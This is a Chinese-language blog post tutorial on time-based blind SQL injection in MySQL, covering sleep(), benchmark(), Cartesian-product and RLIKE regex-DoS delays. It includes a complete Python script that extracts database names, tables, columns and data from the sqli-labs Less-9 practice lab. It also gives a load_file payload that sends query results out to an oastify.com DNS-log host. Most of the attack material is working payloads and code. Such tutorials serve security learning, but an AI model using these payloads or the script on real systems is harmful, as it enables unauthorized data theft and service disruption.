延时注入的几种方式

时间盲注是盲注的一种,利用的场景是当目标无法使用布尔盲注获得数据可以使用这种基于时间的延时注入,通过页面回显延时来判断是否存在注入。

判断是否存在时间注入:

1
http://www.xxxxxxx.com/1.php?id=1 ' and if(num1,num2,num3)--+

语义:如果num1为true则返回num2,否则返回num3

若需要判断参数是否存在注入就可以:

num1——>true

num2——>sleep(5)

num3——>sleep(0)

一、基于sleep的注入

sleep()是数据库中的一个函数,可以通过给sleep()传入数字从而导致查询延时。

故可以构造如下payload猜解数据库长度:

1
?id=1and if(length(schema()) = {1},sleep(5),sleep(0))–+

可以通过不断变化数字1,从而进一步猜解数据库长度。

可以构造如下payload猜解数据库的库名:

1
?id =1' and if(substr(schema(),{1}, 1) = '{chr(32)}' , sleep(2), sleep(0)) --+

**chr()**:将ASCII码转为对应的字符

**substr(a,b,c)**: 从b位置开始,截取字符串a的长度为c

可以通过变化1和32从而确定数据库库名

附上sqlilabs的Less-9的盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import time
#修改payload


db_len = 0 #数据库的长度是
for i in range(1,100):
start = time.time() #获取执行前时间
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(length(schema()) = {i}, sleep(2), sleep(0)) --+")
end = time.time() #获取完成后的时间
if(end - start) > 2:
print(f'数据库的长度是:{i}')
db_len = i
break
for i in range(1, db_len+1):
for j in range(32, 127):
start = time.time()
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(substr(schema(), {i}, 1) = '{chr(j)}' , sleep(2), sleep(0)) --+")
end = time.time()
if (end - start) > 2:
print(chr(j).lower(), end='')
break

#猜测表的长度
table_len = 0
for i in range(1, 1000):
start = time.time() #获取执行前时间
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(length((select group_concat(TABLE_NAME) from information_schema.TABLES where table_schema = schema()) ) = {i},sleep(2),sleep(0)) --+")
end = time.time() #获取完成后的时间
if(end - start) > 2:
print(f'\n表的长度是:{i}')
table_len = i
break
for i in range(1, table_len+1):
for j in range(32, 127):
start = time.time() #获取执行前时间
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where table_schema = schema()),{i},1 )= '{chr(j)}',sleep(2),sleep(0)) --+")
end = time.time() #获取完成后的时间
if(end - start) > 2:
print(chr(j).lower(), end='')
break

#猜测列名长度
column_len = 0
table_name = input('\n请输入要查询的表名')
for i in range(1, 1000):
start = time.time() #获取执行前时间
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(length ((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_schema = schema() and table_name = '{table_name}') ) = {i},sleep(2),sleep(0)) --+")
end = time.time() #获取完成后的时间
if(end - start) > 2:
print(f'\n列的长度是:{i}')
column_len = i
break
for i in range(1, column_len + 1):
for j in range(32, 127):
start = time.time() #获取执行前时间
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_schema = schema() and table_name = '{table_name}'),{i},1) = '{chr(j)}',sleep(2),sleep(0)) --+")
end = time.time() #获取完成后的时间
if(end - start) > 2:
print(chr(j).lower(), end='')
break

#猜测字段长度
data = input('\n请输入您想查的数据')
data_len = 0
for i in range(1,1000):
start = time.time()
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(length((select group_concat({data}) from {table_name}))={i},sleep(2),sleep(0)) --+")
end = time.time()
if(end-start)>2:
print(f'\n{data}的长度是:{i}')
data_len = i
break
for i in range(1,data_len+1):
for j in range(32,127):
start = time.time()
requests.get(f"http://127.0.0.22/Less-9/?id=1' and if(substr((select group_concat({data}) from {table_name}),{i},1) ='{chr(j)}',sleep(2),sleep(0)) --+")
end = time.time()
if(end-start)>2:
print(chr(j).lower(),end='')
break

二、基于benchmark()的注入

**benchmark(a,b):**将b重复执行a次(通过增大a让数据库执行多次也会造成延时)

payload如下:

1
?id=1 ' and benchmark(10000,select length(schema())={1})--+

因为是“与”条件,所以只需要变换1来猜解数据库长度即可,只有查询正确才会延时。

三、数据外带

数据外带利用条件:

  • 拥有读写权限
  • Windows操作系统

利用函数:

load_file() 读取文件—>括号内部参数为所要读取的文件目录

concat:拼接(将反斜杠和后面的字符串进行拼接)

payload如下:

1
load_file(concat('\\',(select version()),'.gxh8pxl2n1azosrclm4398nxmosfg4.oastify.com\a.txt'))

其中.gxh8pxl2n1azosrclm4398nxmosfg4.oastify.com为dnslog地址

注意:必须给地址后面加任意文件,哪怕不存在。目的是为了让服务器去发起请求

四、构造大笛卡尔积进行注入

笛卡尔算积:

img

也就是说数字1先去乘以ABC,然后数字2再去乘以ABC,然后数字3再去乘以ABC,其实就是Burp suite里面的Intruder模块的Attack type里面的Clutser bomb攻击方式。

大负荷查询

Mysql支持这种运算方式,我们的思路是让Mysql进行笛卡尔算积使其造成大负荷查询达到延时的效果。

既然要用笛卡尔算积就要需要大额的数值来计算,在mysql数据库中都有information_schema这个表,这个表里面的数据还是蛮多的,查询一下数量

img

然后我们进行笛卡尔积运算,不难发现数值的大小影响了计算的速度,通过采用1个表2个列,或者2个列一个表,等等各种组合找出合适的延时的时间。

img

这里给出payload

1
select * from admin where id = 1 and 1 and (SELECT count(*)  FROM information_schema.columns A, information_schema.columns B,  information_schema.tables C);

你完全可以按照这个规律,从C后面加个逗号,写D,E等等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。

五、正则DOS RLIKE注入

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

利用手法:

1
mysql> select * from flag where flag=1and if(mid(user(),1,1)=’s’,concat(rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b’,1);

+——+

| flag |

+——+

| 1 |

+——+

1 row in set (0.00 sec)

1
mysql> select * from flag where flag=1and if(mid(user(),1,1)=’r’,concat(rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd’,1);

Empty set (3.83 sec)


延时注入的几种方式
http://example.com/2023/07/21/延时注入的几种方式/
作者
Yuanyi
发布于
2023年7月21日
许可协议